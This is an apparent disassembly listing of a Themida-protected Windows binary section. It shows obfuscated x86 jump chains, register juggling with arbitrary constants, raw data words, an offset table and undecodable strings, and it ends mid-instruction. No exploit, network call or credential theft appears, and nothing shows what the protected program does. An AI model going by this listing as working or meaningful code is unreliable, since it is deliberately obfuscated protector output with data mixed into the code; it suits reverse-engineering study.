Themida_:00549C99j mov ebx, 3066523Ch xor ebx, 2CE00F12h xor ebx, 7E6217BFh jmp loc_549393 ; --------------------------------------------------------------------------- db 87h dd 0E9D7F7FBh, 0FFFFB057h, 240C8B66h, 0B8E95457h, 0B6FFFFBBh dd 412BE9ACh, 0EA89FFFFh, 9618E95Dh, 77FFFFFFh, 0A894E940h dd 0BB53FFFFh, 163611A3h, 0C381D3F7h, 72B945F8h, 8104E3C1h dd 0BF53BCEBh, 68EB814Ah, 897D73F1h, 241C8BDAh, 4C481h dd 0FA010000h, 0C346E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5527FE: ; CODE XREF: Themida_:0055235Bj add eax, 0E23AEF52h jmp loc_54EFB1 ; --------------------------------------------------------------------------- aHt db '^hT%',0 align 2 dw 489h dd 48B5424h, 0F184E924h, 0C14DFFFFh, 0F58106EDh, 77843E72h dd 0FFEF88E9h, 3DA7E9FFh, 3C87FFFFh, 5C685C24h, 89000002h dd 0BAE9241Ch db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55283F: ; CODE XREF: Themida_:0054D039j add esp, 4 jmp loc_546DCC ; --------------------------------------------------------------------------- db 5Dh dd 4C181h, 0C870000h, 89535C24h, 6675E9E3h, 0FD68FFFFh dd 0E900002Dh, 0FFFF92A8h, 5C5A685Ch, 34890000h, 68E68924h dd 6AA5h, 0BB241C89h, 4, 3E9DE01h, 0F7FFFF53h, 4E1C1D9h dd 0CB68D1F7h, 8900002Fh, 0E9562404h, 0FFFF7003h, 650CFCBDh dd 2E5C157h, 4C03E581h, 0F5810831h, 7E7A7A38h, 2C8BEA29h dd 4C48324h, 8106EAC1h, 9170E1C2h, 0A0C2815Bh, 2DC3715Dh dd 48854918h, 0FF5C7AE9h, 0E0EE81FFh, 18A1691h, 0C2835EF2h dd 24148704h, 0FFE13CE9h, 240487FFh, 0FF7518E9h, 0C7815FFFh dd 4, 8704EF83h, 895C243Ch, 4B82404h, 89000000h, 0CB0158C1h dd 2C38359h, 31241C33h, 1C33241Ch, 24248B24h, 0FFA979E9h db 0FFh ; --------------------------------------------------------------------------- loc_552919: ; CODE XREF: Themida_:0054952Aj sub edi, ecx pop ecx push esi push ecx mov ecx, 4B478F2h mov esi, ecx jmp loc_5493C8 ; --------------------------------------------------------------------------- loc_55292A: ; CODE XREF: Themida_:0054E230j mov ebx, eax pop eax push dword ptr [esp] pop ecx add esp, 4 sub [edi+24h], ebx pop ebx loc_55293B: ; CODE XREF: Themida_:0054F16Bj push 6A68h mov [esp], ebx xor dword ptr [esp], 10D11C09h jmp loc_551128 ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 2C8904ECh, 68E58924h, 1DA3h, 68241489h, 1F2511B5h dd 0FF4754E9h db 0FFh ; --------------------------------------------------------------------------- loc_55296D: ; CODE XREF: Themida_:0054ACB3j add edi, 4 jmp loc_550B4E ; --------------------------------------------------------------------------- dd 0AA62A7BEh, 7188E91Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552982: ; CODE XREF: Themida_:00549CC5j mov [esp], ebx mov ebx, 42061525h push 76ABh jmp loc_551BCD ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFC117h, 7FFE34CCh, 34CCh, 0FA6FE7C9h dd 5AAF70h, 337B08EBh, 5A5A3Dh, 0FFFF9F6Ch, 203h, 2, 1 dd 3, 0FA6FE7C9h, 5 dup(0) dd offset dword_55C358 dd offset dword_567150 dd offset byte_556917 dd offset byte_557415 dd offset word_55C46A dd offset byte_557C2B dd offset byte_5656FB dd offset word_565EF6 dd offset word_5655AA dd offset byte_555E13 dd offset byte_558D79 dd offset byte_55ECD5 dd offset dword_560F34 dd offset dword_55D248 dd offset dword_555194 dd offset byte_559E35 dd offset byte_563E7D dd offset byte_565767 dd offset dword_5595AC dd offset byte_563AF3 dd offset byte_559DE9 dd offset dword_5607C8 dd offset aFhrys_ ; "fhryИз." dd offset word_55F616 dd offset dword_5651BC dd offset dword_557E24 dd offset byte_558C47 dd offset aNFZh@ ; "╜-Д!<zh╦@" dd offset dword_55BEF0 dd offset byte_5582D1 dd offset byte_562E8F dd offset dword_565900 dd offset dword_5534D8 dd offset byte_556C1B dd offset byte_55ECC1 dd offset word_56398A dd offset word_55C76A dd offset dword_5644D0 dd offset word_559F62 dd offset dword_55AC9C dd offset byte_567007 dd offset aMsts ; "╛ИTИ" dd offset dword_556EC0 dd offset word_557DEE dd offset dword_5530EC dd offset byte_554E9B dd offset byte_561D57 dd offset dword_55A4A4 dd offset dword_554B20 dd offset byte_56020D dd offset byte_55B51F dd offset word_55BC0A dd offset dword_5568AC dd offset dword_553C5C dd offset byte_558FC1 dd offset dword_5632A4 dd offset byte_564011 dd offset word_55CFC2 dd offset byte_5547EB dd offset byte_55483B dd offset byte_564E97 dd offset dword_55E194 dd offset byte_55DAAF dd offset word_5629B2 dd offset byte_56556F dd offset byte_561A71 dd offset byte_56472B dd offset byte_5542DD dd offset byte_559BAB dd offset word_560C86 dd offset byte_555F03 dd offset dword_552E0C dd offset dword_55CED4 dd offset byte_564551 dd offset dword_55D6B8 dd offset dword_565B48 dd offset dword_563B5C dd offset off_55D447 dd offset aNsK ; "╜И\x1B┼" dd offset word_55EF82 dd offset byte_564ABF dd offset byte_556EFF dd offset byte_55C787 dd offset word_55FB02 dd offset dword_557140 dd offset aM0FsSv ; "╛0ьfS╥%,вИ╒'" dd offset dword_55EE44 dd offset byte_55E015 dd offset word_55B66A dd offset byte_55AEE3 dd offset dword_564910 dd offset aNbQOtbu ; "╜│фQ,oT│Нъ" dd offset dword_560CB0 dd offset byte_55C725 dd offset dword_563FC4 dd offset byte_556A45 dd offset byte_55F7F1 dd offset byte_55653B dd offset byte_559BA1 dd offset dword_55AA80 dd offset byte_566167 dd offset word_564E26 dd offset byte_56609D dd offset word_565826 dd offset word_564AF6 dd offset dword_55BE70 dd offset dword_55EE5C dd offset dword_562DDC dd offset byte_555E2F dd offset word_566BFA dd offset off_55DEBD dd offset word_5604DA dd offset dword_55C580 dd offset byte_562EF7 dd offset dword_55EB90 dd offset byte_55B441 dd offset byte_55D711 dd offset dword_5651DC dd offset byte_560A4B dd offset byte_55FC73 dd offset byte_555267 dd offset dword_559920 dd offset word_55C1E2 dd offset aNhI ; "╜hЁI" dd offset word_5655EE dd offset dword_559EDC dd offset word_55C5C2 dd offset word_561D76 dd offset dword_553B80 dd offset dword_56586C dd offset byte_559B17 dd offset word_564192 dd offset byte_553F8B dd offset word_55CA62 dd offset byte_55D8B7 dd offset dword_5677FC dd offset dword_560620 dd offset dword_5647A0 dd offset dword_5551A8 dd offset word_55350E dd offset byte_55C6F1 dd offset byte_561841 dd offset byte_55568F dd offset dword_554BC0 dd offset byte_5594B7 dd offset byte_566E41 dd offset word_56522A dd offset aLSa ; "▀$$ИAъ" dd offset word_562DF2 dd offset dword_559D90 dd offset byte_55427F dd offset word_56245E dd offset aUh_f ; "Uh.f" dd offset dword_565738 dd offset byte_566B9D dd offset byte_56624F dd offset dword_553CC4 dd offset dword_5631AC dd offset byte_558525 dd offset word_55D626 dd offset dword_561424 dd offset word_55F51E dd offset word_5584F2 dd offset dword_55822C dd offset word_554972 dd offset byte_55DB05 dd offset word_563726 dd 0E8FC9C60h, 0 dd 0BBEF815Fh, 8B05E544h, 0D3C781C7h, 3B05E541h, 2752C47h dd 478913EBh, 0A7B92Ch, 5EB0000h, 408F4401h, 75C90B49h dd 24748BF7h, 3DE8B24h, 1B9F0h, 0C0330000h, 4FB10FF0h db 30h, 75h, 0F7h ; --------------------------------------------------------------------------- loc_552CC3: ; CODE XREF: Themida_:0055413Fj ; Themida_:00554C8Fj ... lodsb xor al, bl push 7CE6h mov [esp], ecx push esp pop ecx add ecx, 4 push ebp jmp loc_553C81 ; --------------------------------------------------------------------------- dd 8B5BDE89h, 0C483242Ch, 0A44E904h, 0F3810001h, 8827C3Bh dd 4BE95351h db 35h, 1, 0 ; --------------------------------------------------------------------------- loc_552CF7: ; CODE XREF: Themida_:005627C9j sub cl, dh pop edx sub bl, cl pop ecx jmp loc_565A3C ; --------------------------------------------------------------------------- dw 0C600h dd 0B7536658h, 66FE2843h, 16E6805Bh, 8014F680h, 0C680F4CEh dd 693E936h, 50660001h, 0C68849B0h, 24048B66h, 2C481h dd 0C6800000h, 6573E9FFh, 0C1810000h, 0DB02A859h, 0E959CB09h dd 1352Dh, 5A2434FFh, 5410E9h, 0C896600h, 27C4E924h, 81520000h dd 60682404h, 8159455Dh, 5D6068E9h, 24148B45h, 5604C483h dd 0CE72A568h, 0C1465E5Eh, 0C68108E6h, 761DD303h, 14ADCE9h dd 0F9EA8100h, 42681C25h, 27DAEA81h, 79E9F1BFh db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552D93: ; CODE XREF: Themida_:0055ED18j sub eax, 61437F56h pop edx mov esi, [esp] add esp, 4 sub eax, edx push ebp push 715A7546h pop ebp sub eax, ebp pop ebp pop edx sub esp, 4 jmp loc_558B54 ; --------------------------------------------------------------------------- db 5 aFPIXszsm db '■чp]┴цXSZИM╧',0 align 2 loc_552DC6: ; CODE XREF: Themida_:0055FE2Ej mov edx, esi jmp loc_55BF95 ; --------------------------------------------------------------------------- loc_552DCD: ; CODE XREF: Themida_:005650FEj mov edi, 47484E35h sub edi, 61E53515h jmp loc_5607D3 ; --------------------------------------------------------------------------- db 51h, 2 dup(0B9h) dd 0E938FF4Bh, 933Dh, 42B368h, 24148900h, 7A068h, 24148900h dd 1B25BF57h, 0FA894661h, 4952E9h, 0E9D92800h, 10C80h dword_552E0C dd 0E92434FFh, 6220h, 8B2434FFh, 0C481241Ch, 4, 81E78957h ; DATA XREF: Themida_:00552AFCo dd 4C7h, 4C78300h, 5C243C87h, 6254B951h, 0C1812287h, 0DD789DB0h dd 181B6857h, 15F1F74h, 0CB015FFBh, 181BBD55h, 0C3811F74h dd 70481E7Fh, 0E955EB29h, 0FEE7h, 0D5CC068h, 243C8B27h dd 4C481h, 0E9560000h, 104EFh, 5A5BD829h, 456DE981h, 0C10152B1h dd 456DC181h, 835852B1h, 0C8702C1h, 24248B24h, 24048B66h dd 143DCE9h, 4F386800h, 14890000h, 0BE685624h, 0E96C6B49h dd 85D8h, 58C20159h, 9D25E9h db 0 ; --------------------------------------------------------------------------- loc_552EB1: ; CODE XREF: Themida_:00561254j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_563D0F ; --------------------------------------------------------------------------- loc_552EC5: ; CODE XREF: Themida_:0055449Cj mov ebx, [esp] add esp, 4 jmp loc_56664B ; --------------------------------------------------------------------------- db 0C1h dd 0F8E908E8h, 0BE0000E9h, 4, 685EF101h, 3302h, 81243489h dd 4ECh, 6071E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552EF6: ; CODE XREF: Themida_:0055303Dj pop eax add edx, ebp pop ebp mov ebx, [esp] push ebx push esp pop ebx push edx mov edx, 4 add ebx, edx pop edx add ebx, 4 xchg ebx, [esp] pop esp loc_552F10: ; CODE XREF: Themida_:loc_5530ABj ; Themida_:loc_55CB0Dj push edx jmp loc_55771E ; --------------------------------------------------------------------------- dw 0E951h dd 12623h, 2434FF5Ch, 12486858h, 4890000h, 61F76824h, 2C890000h dd 81E58924h, 4C5h, 4ED8300h, 5C242C87h, 24048F54h, 4EC81h dd 2C890000h, 4BD24h, 6C010000h, 9DE90424h, 54000046h dd 76BF5759h, 8115101Bh, 101B72F7h, 0BA525515h, 2F9C4DCDh dd 4D5AD589h, 8843E951h, 0EC810000h, 4, 0E9243C89h, 0A756h dd 4EE81h, 34870000h, 81E95C24h, 0E9000105h, 0FFFFFD27h dd 4EE815Bh, 87000000h, 0B0E92434h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552FAB: ; CODE XREF: Themida_:00561C9Fj pop ecx add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_55D42A ; --------------------------------------------------------------------------- loc_552FBD: ; CODE XREF: Themida_:005636A4j sub eax, 298A0F24h add edi, eax pop eax dec edi jmp loc_559B03 ; --------------------------------------------------------------------------- loc_552FCB: ; CODE XREF: Themida_:0055E5F4j push ebx mov bh, 9Eh neg bh and bh, 11h and bh, 41h xor bh, 13h push edx mov dl, bh push ebx jmp loc_562F99 ; --------------------------------------------------------------------------- aIxwsH db '┴ЕWИуh',0 align 2 dd offset dword_4ECB1C+14Ch dw 8900h dd 0F3B9240Ch, 8133C229h, 9857ACC9h, 0E3895323h, 4C381h dd 0EB830000h, 6E91E904h, 1C890000h, 0E9ECB324h, 514Bh dd 0C281E289h, 4, 0A94CE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553026: ; CODE XREF: Themida_:005546CEj add ebx, esi add ebx, 67776D80h pop esi sub edx, ebx pop ebx sub edx, ebx push ebp push eax mov eax, 35936DF0h mov ebp, eax jmp loc_552EF6 ; --------------------------------------------------------------------------- dw 0E957h dd 1026Dh, 7001BD55h, 94E97E2Bh, 520000D8h, 5113E7BAh dd 89BE567Eh, 0D1679174h, 25B850E6h, 403B4B39h, 7F22D40h dd 13E90F27h, 81000069h, 4C7h, 4C78300h, 749AE9h, 5AF08800h dd 10CB5E9h, 2434FF00h, 582434FFh, 81E38953h, 4C3h, 4C38100h dd 87000000h, 835C241Ch, 13E904C4h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5530AB: ; CODE XREF: Themida_:0055E878j jz loc_552F10 push dword ptr [edi+28h] jmp loc_557D94 ; --------------------------------------------------------------------------- db 51h, 0E9h, 65h dd 0F70000F1h, 0A6E981D9h, 0E93A398Ah, 1237Fh, 846C281h dd 8B5949B4h, 9AE92434h, 1000098h, 0C5815BDDh, 4, 0E9242C87h dd 810Ch dword_5530EC dd 24048B66h, 0C27FE955h, 48F0000h, 29E3E924h, 95BA0000h ; DATA XREF: Themida_:00552A90o dd 316FB85Fh, 24148BD6h, 0C104C483h, 0F7E907E6h, 810000C2h dd 4C4h, 0DDCDE900h, 40660000h, 7E8C166h, 75C73566h, 58C18966h dd 0BEE94966h, 0BE00000Fh, 22473762h, 0C8A2C681h, 0F101DDB8h dd 4C1815Eh, 51000000h, 42474FFh, 8E59E9h, 81C33100h, 515656EAh dd 0B7BF5773h, 81587412h, 0D85791C7h, 19ADE901h, 0E94F0001h dd 58F1h, 793BA4BFh, 0FFC7835Eh, 1372E953h, 4BA0001h, 1000000h dd 4ED8E9D3h, 0F1350000h, 1220468h, 0C18158C1h, 4, 0E9240C87h dd 0D090h, 94E95659h, 52000115h, 204EE9h, 0E9E18900h, 0AE46h dd 0E9242C89h, 12163h ; --------------------------------------------------------------------------- loc_5531BC: ; CODE XREF: Themida_:0055D3DEj dec ecx neg ecx push edx jmp loc_562AC6 ; --------------------------------------------------------------------------- loc_5531C5: ; CODE XREF: Themida_:00556551j sub ah, 2Fh jmp loc_55B726 ; --------------------------------------------------------------------------- db 1, 0FEh, 5Fh dd 0A8A2E9h, 48F5E00h, 43E95C24h, 810000C7h, 44693DC3h dd 8DC3814Ah, 0FF72A064h, 3C8B2434h, 4C48324h, 81E28952h dd 4C2h, 3DD4E900h, 1C890001h, 4BB24h, 0DE010000h, 0D0E6E95Bh dd 8BB90000h, 895E1E5Dh, 5E2D59C8h, 2D3F4A7Ah, 3E4A53DBh dd 1BE56h, 0C6E90000h db 0CDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55322F: ; CODE XREF: Themida_:005634A9j xchg esi, ebp xchg edi, esi not edi xor esi, edi xor edi, esi xor esi, edi xchg esi, ebp push edi jmp loc_5553F6 ; --------------------------------------------------------------------------- loc_553243: ; CODE XREF: Themida_:00561EBBj mov esi, ebx jmp loc_560CC3 ; --------------------------------------------------------------------------- loc_55324A: ; CODE XREF: Themida_:0055BDC0j mov ecx, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], edx push 2 mov edx, [esp] push edi mov edi, esp jmp loc_563DAF ; --------------------------------------------------------------------------- aVicpRvTs1e db '\V┴ФP╦RVЛTИ1E',0 db 0 ; --------------------------------------------------------------------------- loc_55327B: ; CODE XREF: Themida_:0055AF30j mov ebx, esp push edi push edx jmp loc_557F1A ; --------------------------------------------------------------------------- dd 0F8372D97h, 0DEE9F7D1h, 870000BFh, 81D3F7D3h, 6A94F2F3h dd 0E91829E5h, 888Eh ; --------------------------------------------------------------------------- loc_5532A0: ; CODE XREF: Themida_:0055512Dj push 0B767BFFh pop ebx or ebx, 5AE197Fh and ebx, 6D6E0FBCh inc ebx xor ebx, 0D6E0BB9h push ebx pop esi pop ebx add edx, esi pop esi xchg edx, [esp] pop esp sub esp, 4 mov [esp], eax jmp loc_553AAB ; --------------------------------------------------------------------------- loc_5532CE: ; CODE XREF: Themida_:00562688j shl edx, 7 jmp loc_558C15 ; --------------------------------------------------------------------------- dw 5AB9h dd 0E9B60A64h, 4E05h, 165DCD81h, 5468683Fh, 89000030h dd 2DBB241Ch, 0E9085104h, 0C517h, 0FFF9C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5532FD: ; CODE XREF: Themida_:005591BCj pop esi jmp loc_557BD9 ; --------------------------------------------------------------------------- db 31h dd 2434FFD0h, 1564685Ah, 14890000h, 19156824h, 6BE90000h db 12h, 1, 0 ; --------------------------------------------------------------------------- loc_55331B: ; CODE XREF: Themida_:00561240j push eax mov eax, 5CD63D42h sub eax, 10C25A5Ah shr eax, 7 add eax, 0FFFFFFFFh xor eax, 0DFE436Eh sub esp, 4 mov [esp], esi mov esi, 470F6FBFh jmp loc_5542C7 ; --------------------------------------------------------------------------- dd 0D4F666B4h, 3D4168h, 24148900h, 4EC8351h, 10050E9h db 0 ; --------------------------------------------------------------------------- loc_553359: ; CODE XREF: Themida_:005599B5j pop esi xchg ebx, [esp] jmp loc_55BD60 ; --------------------------------------------------------------------------- loc_553362: ; CODE XREF: Themida_:0055E7C4j mov eax, [esp] add esp, 4 add esp, 4 jmp loc_5566DD ; --------------------------------------------------------------------------- loc_553373: ; CODE XREF: Themida_:00557B9Bj mov ecx, [esp] add esp, 4 jmp loc_558A47 ; --------------------------------------------------------------------------- db 0FEh, 0C6h, 0C0h dd 0B75303EEh, 7E7C0C6h, 695CE9h db 0 ; --------------------------------------------------------------------------- loc_553391: ; CODE XREF: Themida_:0056371Bj push edx jmp loc_5582AF ; --------------------------------------------------------------------------- db 53h dd 4BBh, 1EC1E900h, 0E95B0001h, 97F3h, 5F240CFFh, 0A0C78147h dd 1077F3Dh, 0F0295FF8h, 1D69192Dh, 0C2685E0Ah, 8900002Bh dd 6CE92414h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5533CB: ; CODE XREF: Themida_:0055793Ej pop ebx push ebp jmp loc_558AAD ; --------------------------------------------------------------------------- loc_5533D2: ; CODE XREF: Themida_:0055794Cj add ebp, 4 sub ebp, 4 jmp loc_55E9AB ; --------------------------------------------------------------------------- db 59h dd 5D12972Dh, 26BD557Ah, 0E9341520h, 1519h, 89241C89h dd 4B850E3h, 1000000h, 6B33E9C3h, 0F5B80000h, 0E9220468h dd 0FFFFFD7Ah, 0E924248Bh, 4A8Dh, 5CE9E089h, 0C1000090h dd 0C28106E2h, 5C154666h, 7F49C281h, 93E9A303h, 88000071h dd 0EC815AF3h, 4, 0B4240489h, 19F480C1h, 3BC0E9h db 0 ; --------------------------------------------------------------------------- loc_553449: ; CODE XREF: Themida_:0056129Dj add ecx, esi sub ecx, 411869B0h sub ecx, 3D377AF5h push eax mov eax, 2B396ADDh shr eax, 3 inc eax add eax, 0FFFFFFFFh jmp loc_5580BA ; --------------------------------------------------------------------------- loc_553469: ; CODE XREF: Themida_:005590EAj sub eax, 4D06791Dh jmp loc_55E2E5 ; --------------------------------------------------------------------------- db 0B8h dd 48201EBh, 48BC289h, 4C48324h, 0E9FFC283h, 0B010h, 0DCEA815Ah dd 15F977Ah, 615BE9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553496: ; CODE XREF: Themida_:00556B88j add esp, 4 jmp loc_55B843 ; --------------------------------------------------------------------------- db 1, 0DEh, 5Bh dd 0F325E9h, 242C8B00h, 81E28952h, 4C2h, 0C5E95700h db 0DCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5534BB: ; CODE XREF: Themida_:00566F86j add ebx, 80A88889h jmp loc_56000B ; --------------------------------------------------------------------------- dw 0C31h dd 240C3324h, 6624248Bh, 0E9240489h, 0FFFFF7EBh dword_5534D8 dd 28B6664h, 6E676866h, 6F2E9h ; DATA XREF: Themida_:00552A60o db 0 ; --------------------------------------------------------------------------- loc_5534E5: ; CODE XREF: Themida_:005600D4j xchg esi, [esp] mov esp, [esp] jmp loc_55AB63 ; --------------------------------------------------------------------------- loc_5534F0: ; CODE XREF: Themida_:0055968Dj mov edi, 4 add eax, edi jmp loc_553CAD ; --------------------------------------------------------------------------- loc_5534FC: ; CODE XREF: Themida_:0055580Bj pop edx xor ebp, 4DF626FFh add ebp, 0DE2975B6h jmp loc_5664D4 ; --------------------------------------------------------------------------- word_55350E dw 8B66h ; DATA XREF: Themida_:00552C0Co dd 0E952240Ch, 2C3Ch, 24148766h, 24348B66h, 2942E9h, 29B95100h dd 8958A02Fh, 0FEB1E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553532: ; CODE XREF: Themida_:0055E9B2j push esp push dword ptr [esp] pop esi add esp, 4 push 252Ah mov [esp], edx mov edx, 4 jmp loc_556E0F ; --------------------------------------------------------------------------- dd 12C8E957h, 0FABA0000h, 297B1510h, 295E5AD0h, 0E38953D8h dd 4C381h, 0EB830000h, 4EC8304h, 0FF241C89h, 0E9042474h dd 63B9h, 80A5F480h, 0C18013C1h, 80E12851h, 73E951E9h db 17h, 1, 0 ; --------------------------------------------------------------------------- loc_55358B: ; CODE XREF: Themida_:0055A4FEj xchg ebp, [esp] jmp loc_55D60E ; --------------------------------------------------------------------------- loc_553593: ; CODE XREF: Themida_:0055EC3Dj mov bh, 0B1h jmp loc_56622B ; --------------------------------------------------------------------------- loc_55359A: ; CODE XREF: Themida_:0055E117j pop edi add edi, 4 add edi, 4 jmp loc_55AAB8 ; --------------------------------------------------------------------------- loc_5535A9: ; CODE XREF: Themida_:005632E3j mov [esp], edi push 743048DAh jmp loc_564FCB ; --------------------------------------------------------------------------- loc_5535B6: ; CODE XREF: Themida_:0055A3ECj sub edx, 153B418Dh add edx, eax add edx, 153B418Dh add dword ptr [edx], 1 pop edx mov eax, [esp] push 192Ah mov [esp], edi push esp pop edi push ebx mov ebx, 7D941B5h and ebx, 5B78269Fh jmp loc_5549C6 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BB241C89h, 4, 7D22C581h, 0ED813D19h, 2AEF507Ch, 137AC581h dd 0ED811BBFh, 1A133FE2h, 5F37C581h, 0DD0177ACh, 7C1CE9h dd 0DEF75F00h, 0FFFFC681h, 0D2E9FFFFh db 0DBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553627: ; CODE XREF: Themida_:005596BCj sub esi, eax pop eax shl esi, 7 jmp loc_55F769 ; --------------------------------------------------------------------------- aJa db 'Ё╕─ц╫',0 aCaucxsa db 'ч[(Ф─НcXИ═',0 align 4 dd 59C82900h, 8158C501h, 66227DC3h, 81EB2975h, 66227DEBh dd 0C3815D75h, 27942F8Bh, 4BF5759h, 1000000h, 1073E9FBh dd 8A680001h, 89000033h, 0EC81241Ch, 4, 83242489h, 8B042404h dd 0C481241Ch, 4, 4C381h, 0B8500000h, 2, 8358C301h, 1C8904ECh dd 5EBAE924h, 0E2890000h, 4C281h, 0C2830000h, 24148704h dd 6E0C15Ch, 7A768h, 6B90E900h, 0ED810000h, 473D0C43h dd 99DED81h, 4E90EE0h db 88h, 2 dup(0) aNbQOtbu db '╜│фQ,oT│Нъ',0 ; DATA XREF: Themida_:00552B4Co aHs2t db 'мHИ2▓',0 dd 0C5C68000h, 0AE2C9904h, 7051E9h, 0B9BF5700h, 816DF62Fh dd 0C6106DF7h, 0D0EF811Fh, 291F4DC0h, 0EB815FFBh, 186C33F7h dd 254FE9h db 0 ; --------------------------------------------------------------------------- loc_553711: ; CODE XREF: Themida_:00557B70j and cl, 3Ch push 49A0h mov [esp], eax mov ah, 0A3h sub esp, 4 jmp loc_55F1B8 ; --------------------------------------------------------------------------- aVhA db 'Vh*A',0 dw 8900h dd 4832424h, 50E90424h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55373B: ; CODE XREF: Themida_:0055CB37j mov edx, [esp] push 4E85h mov [esp], esi mov esi, esp add esi, 4 push ecx push edx mov edx, 3D1175ECh mov ecx, 3AF10082h jmp loc_5550AA ; --------------------------------------------------------------------------- loc_55375F: ; CODE XREF: Themida_:00560B74j mov ecx, edi jmp loc_5649E7 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 4EC81h, 0C890000h, 81E18924h, 4C1h, 0FBE95700h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553783: ; CODE XREF: Themida_:00562EC9j and esi, 46FE6ED4h xor esi, 43262F69h sub ecx, esi jmp loc_55F6F9 ; --------------------------------------------------------------------------- dw 0FD01h dd 8BEE895Fh, 0C483242Ch, 1C68304h, 4217F681h, 0E9560644h dd 4B3Ch, 409EC681h, 0F201B897h, 0F1E0E9h db 0 ; --------------------------------------------------------------------------- loc_5537BD: ; CODE XREF: Themida_:0055DF86j push dword ptr [esp+4] pop ebp jmp loc_5600F2 ; --------------------------------------------------------------------------- aSUKs db '╩А~u~KИ# ',0 align 2 dw 58B7h dd 805BFE88h, 0B1515FE6h, 6587E9A1h, 0EF810000h, 0DA87205h dd 0C781D701h, 0DA87205h, 39ABE95Ah, 0B5510001h, 0F6DDF6E7h dd 0C6C580D5h, 8006EDC0h, 0E88849EDh, 6313E959h, 0E1B90000h dd 8149C856h, 6412AEE1h, 9CE98117h, 0E9014012h, 4B25h dd 0A473F181h, 0C68180D4h, 55F81022h, 0EE81CE29h, 55F81022h dd 0BFFDE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55383E: ; CODE XREF: Themida_:0055CC35j or edx, eax jmp loc_559EB0 ; --------------------------------------------------------------------------- aBKnsfsr db '│,$kNSfИrф',0 db 0 ; --------------------------------------------------------------------------- loc_553851: ; CODE XREF: Themida_:00557ED7j sub esi, 30F43D6Eh sub esi, ebp add esi, 30F43D6Eh sub esi, 154829B4h jmp loc_55BB1B ; --------------------------------------------------------------------------- aXssb db 'XSИb{',0 dd 0AACD8000h, 727568h, 241C8900h, 0CF8098B7h, 0C0DFF605h dd 0E78004E7h, 18C78077h, 34FFFD28h, 0C4835B24h, 83CDFE04h dd 896602ECh, 0FE92404h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5538A3: ; CODE XREF: Themida_:00562569j mov edx, [esp] jmp loc_56763A ; --------------------------------------------------------------------------- db 81h dd 0CE7A58C1h, 52F9010Ch, 1912ECBAh, 0DEF28132h, 50383A79h dd 0AB0F26B8h, 58C20102h, 0E95AD129h, 0E76Fh, 8247C29h dd 7CF7E9h, 0C896600h, 2E0DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5538E2: ; CODE XREF: Themida_:0055F9BDj and eax, ebp mov ebp, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 jmp loc_5597F4 ; --------------------------------------------------------------------------- dd 195868h, 24348900h, 2306B951h, 0E9815E84h, 0CB39BBh dd 0C981D9F7h, 11255E08h, 0B7BCE9h db 0 ; --------------------------------------------------------------------------- loc_553921: ; CODE XREF: Themida_:0055DFD6j xchg edi, [esp] jmp loc_562A39 ; --------------------------------------------------------------------------- loc_553929: ; CODE XREF: Themida_:0055F64Aj add esp, 4 and ecx, ebp pop ebp jmp loc_563E75 ; --------------------------------------------------------------------------- loc_553934: ; CODE XREF: Themida_:005631FAj push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push edi jmp loc_561BBE ; --------------------------------------------------------------------------- loc_553943: ; CODE XREF: Themida_:00566FA5j sub [esp+8], ebx jmp loc_56537B ; --------------------------------------------------------------------------- dd 0EFC1D7F7h, 58ECE907h, 835C0000h, 1EE902C0h, 5500008Dh dd 4BDh, 5DEA0100h, 5C241487h, 1818C381h, 0F3813A42h, 0A0045272h dd 77F7EA81h, 0C28171BFh, 7E577EF8h, 0EA81DA01h, 7E577EF8h dd 3E8EBB53h, 0E3C125F1h, 4755E907h, 15F0000h, 59C281C2h dd 58691237h, 0E3BE5653h, 0D11E4D64h, 0C68146E6h, 1, 2FBEE9h db 0 ; --------------------------------------------------------------------------- loc_5539B9: ; CODE XREF: Themida_:00553E57j neg ebx sub ebx, 646DF1EEh or eax, ebx pop ebx sub eax, 1 not eax push ebp mov ebp, 5FFB7D83h add eax, ebp pop ebp sub esi, eax pop eax jmp loc_559A9A ; --------------------------------------------------------------------------- loc_5539DA: ; CODE XREF: Themida_:00564B73j push ebp mov ebp, 1BD833B1h shl ebp, 4 and ebp, 28D43EE2h xor ebp, 48926EE3h jmp loc_5659A1 ; --------------------------------------------------------------------------- dd 40F68h, 242C8900h, 0C581E589h, 4, 1348BE9h, 0F6815B00h dd 63066538h, 0D574E9h, 4B900h, 0CD010000h, 8DDE959h, 3C8B0001h dd 8321E924h, 0E9570000h, 10E78h, 24048F5Eh, 8324248Bh dd 3E902C0h db 0C8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553A3F: ; CODE XREF: Themida_:00565A86j pop edx jmp loc_564361 ; --------------------------------------------------------------------------- loc_553A45: ; CODE XREF: Themida_:00560AFFj sub edi, 62314C21h xor edi, 0E154DA42h xor eax, edi pop edi add eax, 21F679FEh add eax, 81266CD9h mov edx, eax pop eax add edx, 3F3C0819h jmp 